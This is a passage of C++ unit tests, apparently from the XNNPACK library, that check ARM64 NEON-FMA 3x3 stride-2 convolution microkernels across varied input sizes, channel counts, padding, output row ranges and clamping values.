output_channels_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding(1) .input_channels(3) // padded input height of at least 3 required .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEONFMA_2X2, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neonfma_2x2); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(4) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 2; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, output_channels_lt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, output_channels_div_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 16; output_channels <= 32; output_channels += 8) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, output_channels_gt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 9; output_channels < 16; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_height(1) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X2, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x2); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(5) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 2; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, output_channels_div_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_height(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X2, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 2; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x2); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, output_channels_lt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 8; output_channels++) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, output_channels_div_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 16; output_channels <= 32; output_channels += 8) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, output_channels_gt_8) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 9; output_channels < 16; output_channels++) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, input_height_lt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_height(1) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, input_height_gt_3) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, padding_top) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, padding_bottom) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, output_y_start) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, output_y_end) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, qmin) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } TEST(F32_CONV_3X3S2P0P1C3X8__NEONFMA_2X1, qmax) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 2; input_width < 16; input_width += 3) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x8__neonfma_2x1); } } } #endif // XNN_ARCH_ARM64 #if XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, input_width_eq_2) { TEST_REQUIRES_ARM_NEON_FMA; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(2) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, input_width_div_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 4; input_width <= 16; input_width += 6) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p0p1c3x4__neonfma_2x1); } } TEST(F32_CONV_3X3S2P0P1C3X4__NEONFMA_2X1, input_width_gt_2) { TEST_REQUIRES_ARM_NEON_FMA; for (size_t input_width = 3; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_right(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) 